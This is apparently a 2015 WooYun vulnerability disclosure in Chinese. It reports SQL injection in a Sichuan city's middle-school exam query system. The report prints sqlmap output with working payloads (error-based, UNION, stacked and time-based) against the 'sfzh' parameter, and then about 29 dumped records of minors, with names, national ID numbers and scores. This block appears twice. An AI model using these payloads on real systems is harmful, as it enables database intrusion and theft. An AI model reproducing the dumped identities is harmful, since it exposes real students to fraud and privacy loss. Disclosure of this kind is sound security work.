四川某市中考查询系统暴露数十万考生信息(可被用于电话诈骗等)

漏洞概要

缺陷编号:WooYun-2015-0122160

漏洞标题:四川某市中考查询系统暴露数十万考生信息(可被用于电话诈骗等)

相关厂商:某市

漏洞作者:路人甲

提交时间:2015-06-24 21:24

公开时间:2015-08-08 15:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

Tags标签:

漏洞详情

披露状态:

2015-06-24: 细节已通知厂商并且等待厂商处理中
2015-06-24: 厂商已经确认,细节仅向厂商公开
2015-07-04: 细节向核心白帽子及相关领域专家公开
2015-07-14: 细节向普通白帽子公开
2015-07-24: 细节向实习白帽子公开
2015-08-08: 细节向公众公开

简要描述:

某市中考查询系统暴露考生所有信息,从身份证信息,准考证,成绩,录取学校等,可以轻易被用于其他用途。

详细说明:

**.**.**.**:8080/查询地址存在SQL注入,输入'or'a'='a,可以获得相应信息,通过sqlmap可以获得整个数据库,从2012年到2015年所有考生中考信息,包括身份证信息等,光2015年信息就有4万余条。证明,使用post注入可以轻松获得[INFO]parsing HTTP request from '/root/Desktop/zhongkao'/root/Desktop/zhongkao[INFO] resuming back-end DBMS 'microsoft sql server'[INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: sfzh (POST)Type: error-basedTitle: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clausePayload: sfzh=5634855855555' AND 8347=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(98)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (8347=8347) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113)+CHAR(113))) AND 'nRfb'='nRfb&submit=%B3%C9%BC%A8%B2%E9%D1%AFType: UNION queryTitle: Generic UNION query (NULL) - 20 columnsPayload: sfzh=5634855855555' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(122)+CHAR(98)+CHAR(118)+CHAR(113)+CHAR(88)+CHAR(100)+CHAR(99)+CHAR(98)+CHAR(98)+CHAR(100)+CHAR(87)+CHAR(98)+CHAR(119)+CHAR(78)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &submit=%B3%C9%BC%A8%B2%E9%D1%AFType: stacked queriesTitle: Microsoft SQL Server/Sybase stacked queriesPayload: sfzh=5634855855555'; WAITFOR DELAY '0:0:5'--&submit=%B3%C9%BC%A8%B2%E9%D1%AFType: AND/OR time-based blindTitle: Microsoft SQL Server/Sybase AND time-based blind (heavy query)Payload: sfzh=56548558555' AND 5005=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'FPPP'='FPPP&submit=%B3%C9%BC%A8%B2%E9%D1%AF---[INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASPback-end DBMS: Microsoft SQL Server 2005[INFO] the SQL query used returns 40080 entries[INFO] retrieved: "155601100001","25","560106420","96","033","33","510703199911023915","23","92","20","78","G510703199911023915","张豪","84","100","551"[INFO] retrieved: "155601100002","24","560107309","104","051","31","510703200101033922","22","91","20","80","G510703200101033922","张钰茜","77","111","560"[INFO] retrieved: "155601100003","29","560104716","124","004","45","510703199911143917","26","80","20","80","G510703199911143917","张鹏清","98","124","626"[20:54:37] [INFO] retrieved: "155601100004","27","560104729","68","","38","510703200006243921","22","61","20","74","G510703200006243921","刘梦琪","76","103","489"[INFO] retrieved: "155601100005","27","560107512","118","003","34","510781200003080839","22","94","20","77","G510781200003080839","黄定成","94","115","601"[20:54:40] [INFO] retrieved: "155601100006","20","560107403","94","","38","510781200009067010","16","78","20","69","G510781200009067010","蒋兴龙","66","66","467"[INFO] retrieved: "155601100007","11","560109609","121","033","37","510703200004253915","20","76","20","78","G510703200004253915","欧耀龙","78","88","529"[20:54:43] [INFO] retrieved: "155601100008","29","560107606","147","001","46","51070320000217392X","27","105","20","77","G51070320000217392X","张雨琦","106","126","683"[20:54:45] [INFO] retrieved: "155601100009","26","560107007","111","033","30","510703200010163916","22","82","20","75","G510703200010163916","陈凯","85","70","521"[INFO] retrieved: "155601100010","28","560106713","145","002","47","510703200011153912","29","91","20","78","G510703200011153912","康志奇","100","123","661"[20:54:48] [INFO] retrieved: "155601100011","25","560109313","86","","34","510781199911070702","24","72","19","74","G510781199911070702","袁田田","92","90","516"[INFO] retrieved: "155601100012","26","560106806","112","033","30","510781199907210848","25","85","20","74","G510781199907210848","莫茜瑶","80","71","523"[20:54:54] [INFO] retrieved: "155601100013","27","560107105","94","","34","510703200001253944","23","82","20","79","G510703200001253944","李焓芝","76","71","506"[INFO] retrieved: "155601100014","24","560108822","92","051","42","510704200008072923","21","84","20","76","G510704200008072923","蒲沅园","69","106","534"[INFO] retrieved: "155601100015","28","560109907","133","001","46","510781200004130703","27","109","20","73","G510781200004130703","李莲溶","103","118","657"[INFO] retrieved: "155601100016","23","560105002","102","005","39","511002199910117828","19","72","20","75","G511002199910117828","张兰","85","111","546"[INFO] retrieved: "155601100017","25","560109127","114","271","37","510703200004263929","23","83","20","80","G510703200004263929","尹双凤","89","93","564"[INFO] retrieved: "155601100018","24","560106920","72","223","39","510703200002083924","17","59","20","74","G510703200002083924","宋文凤","112","109","526"[INFO] retrieved: "155601100019","24","560108918","100","033","30","511025200001145549","16","73","20","70","G511025200001145549","梁雪","80","107","520"[INFO] retrieved: "155601100020","28","560110111","107","","37","510703200007233944","22","78","20","79","G510703200007233944","陈巧","87","105","563"[INFO] retrieved: "155601100021","26","560110126","122","003","40","510703199911232434","24","91","20","76","G510703199911232434","兰泽清","87","112","598"[20:55:15] [INFO] retrieved: "155601100022","29","560107917","144","002","50","510781199912190845","27","104","20","77","G510781199912190845","任雨晴","98","126","675"[INFO] retrieved: "155601100023","23","560105207","105","033","40","510703200008073911","20","82","20","74","G510703200008073911","杨青龙","78","109","551"[INFO] retrieved: "155601100024","23","560105610","91","033","38","510703200008213910","17","84","20","74","G510703200008213910","曾雯琪","84","99","530"[20:55:23] [INFO] retrieved: "155601100025","24","560108007","108","812","37","510703200009083927","23","82","20","80","G510703200009083927","王洋洋","102","109","585"[INFO] retrieved: "155601100026","27","560108929","142","004","40","510703200001013916","27","96","20","77","G510703200001013916","谭龙","93","111","633"[INFO] retrieved: "155601100027","22","560106326","105","813","33","510781199901250849","22","85","20","68","G510781199901250849","冯佳函","87","110","552"[INFO] retrieved: "155601100028","23","560107628","102","051","32","510703200011223925","20","89","20","75","G510703200011223925","王罗喜","83","100","544"[INFO] retrieved: "155601100029","21","560105804","131","","39","510703200008243925","21","89","20","76","G510703200008243925","魏萍","76","106","579"这些信息如果被暴露给不法分子 如果用作诈骗应该危害很大。只读取了部分少量信息,请管理员适当处理。

漏洞证明:

**.**.**.**:8080/查询地址存在SQL注入,输入'or'a'='a,可以获得相应信息,通过sqlmap可以获得整个数据库,从2012年到2015年所有考生中考信息,包括身份证信息等证明,使用post注入可以轻松获得[INFO] parsing HTTP request from '/root/Desktop/zhongkao'/root/Desktop/zhongkao[INFO] resuming back-end DBMS 'microsoft sql server'[INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: sfzh (POST)Type: error-basedTitle: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clausePayload: sfzh=5634855855555' AND 8347=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(98)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (8347=8347) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113)+CHAR(113))) AND 'nRfb'='nRfb&submit=%B3%C9%BC%A8%B2%E9%D1%AFType: UNION queryTitle: Generic UNION query (NULL) - 20 columnsPayload: sfzh=5634855855555' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(122)+CHAR(98)+CHAR(118)+CHAR(113)+CHAR(88)+CHAR(100)+CHAR(99)+CHAR(98)+CHAR(98)+CHAR(100)+CHAR(87)+CHAR(98)+CHAR(119)+CHAR(78)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &submit=%B3%C9%BC%A8%B2%E9%D1%AFType: stacked queriesTitle: Microsoft SQL Server/Sybase stacked queriesPayload: sfzh=5634855855555'; WAITFOR DELAY '0:0:5'--&submit=%B3%C9%BC%A8%B2%E9%D1%AFType: AND/OR time-based blindTitle: Microsoft SQL Server/Sybase AND time-based blind (heavy query)Payload: sfzh=56548558555' AND 5005=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'FPPP'='FPPP&submit=%B3%C9%BC%A8%B2%E9%D1%AF---[INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASPback-end DBMS: Microsoft SQL Server 2005[INFO] the SQL query used returns 40080 entries[INFO] retrieved: "155601100001","25","560106420","96","033","33","510703199911023915","23","92","20","78","G510703199911023915","张豪","84","100","551"[INFO] retrieved: "155601100002","24","560107309","104","051","31","510703200101033922","22","91","20","80","G510703200101033922","张钰茜","77","111","560"[INFO] retrieved: "155601100003","29","560104716","124","004","45","510703199911143917","26","80","20","80","G510703199911143917","张鹏清","98","124","626"[20:54:37] [INFO] retrieved: "155601100004","27","560104729","68","","38","510703200006243921","22","61","20","74","G510703200006243921","刘梦琪","76","103","489"[INFO] retrieved: "155601100005","27","560107512","118","003","34","510781200003080839","22","94","20","77","G510781200003080839","黄定成","94","115","601"[20:54:40] [INFO] retrieved: "155601100006","20","560107403","94","","38","510781200009067010","16","78","20","69","G510781200009067010","蒋兴龙","66","66","467"[INFO] retrieved: "155601100007","11","560109609","121","033","37","510703200004253915","20","76","20","78","G510703200004253915","欧耀龙","78","88","529"[20:54:43] [INFO] retrieved: "155601100008","29","560107606","147","001","46","51070320000217392X","27","105","20","77","G51070320000217392X","张雨琦","106","126","683"[20:54:45] [INFO] retrieved: "155601100009","26","560107007","111","033","30","510703200010163916","22","82","20","75","G510703200010163916","陈凯","85","70","521"[INFO] retrieved: "155601100010","28","560106713","145","002","47","510703200011153912","29","91","20","78","G510703200011153912","康志奇","100","123","661"[20:54:48] [INFO] retrieved: "155601100011","25","560109313","86","","34","510781199911070702","24","72","19","74","G510781199911070702","袁田田","92","90","516"[INFO] retrieved: "155601100012","26","560106806","112","033","30","510781199907210848","25","85","20","74","G510781199907210848","莫茜瑶","80","71","523"[20:54:54] [INFO] retrieved: "155601100013","27","560107105","94","","34","510703200001253944","23","82","20","79","G510703200001253944","李焓芝","76","71","506"[INFO] retrieved: "155601100014","24","560108822","92","051","42","510704200008072923","21","84","20","76","G510704200008072923","蒲沅园","69","106","534"[INFO] retrieved: "155601100015","28","560109907","133","001","46","510781200004130703","27","109","20","73","G510781200004130703","李莲溶","103","118","657"[INFO] retrieved: "155601100016","23","560105002","102","005","39","511002199910117828","19","72","20","75","G511002199910117828","张兰","85","111","546"[INFO] retrieved: "155601100017","25","560109127","114","271","37","510703200004263929","23","83","20","80","G510703200004263929","尹双凤","89","93","564"[INFO] retrieved: "155601100018","24","560106920","72","223","39","510703200002083924","17","59","20","74","G510703200002083924","宋文凤","112","109","526"[INFO] retrieved: "155601100019","24","560108918","100","033","30","511025200001145549","16","73","20","70","G511025200001145549","梁雪","80","107","520"[INFO] retrieved: "155601100020","28","560110111","107","","37","510703200007233944","22","78","20","79","G510703200007233944","陈巧","87","105","563"[INFO] retrieved: "155601100021","26","560110126","122","003","40","510703199911232434","24","91","20","76","G510703199911232434","兰泽清","87","112","598"[20:55:15] [INFO] retrieved: "155601100022","29","560107917","144","002","50","510781199912190845","27","104","20","77","G510781199912190845","任雨晴","98","126","675"[INFO] retrieved: "155601100023","23","560105207","105","033","40","510703200008073911","20","82","20","74","G510703200008073911","杨青龙","78","109","551"[INFO] retrieved: "155601100024","23","560105610","91","033","38","510703200008213910","17","84","20","74","G510703200008213910","曾雯琪","84","99","530"[20:55:23] [INFO] retrieved: "155601100025","24","560108007","108","812","37","510703200009083927","23","82","20","80","G510703200009083927","王洋洋","102","109","585"[INFO] retrieved: "155601100026","27","560108929","142","004","40","510703200001013916","27","96","20","77","G510703200001013916","谭龙","93","111","633"[INFO] retrieved: "155601100027","22","560106326","105","813","33","510781199901250849","22","85","20","68","G510781199901250849","冯佳函","87","110","552"[INFO] retrieved: "155601100028","23","560107628","102","051","32","510703200011223925","20","89","20","75","G510703200011223925","王罗喜","83","100","544"[INFO] retrieved: "155601100029","21","560105804","131","","39","510703200008243925","21","89","20","76","G510703200008243925","魏萍","76","106","579"只读取了部分少量信息,请管理员适当处理。

修复方案:

你们比我厉害。

漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-06-2415:13

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给四川分中心,由其后续协调网站管理单位处置

最新状态:

暂无

评价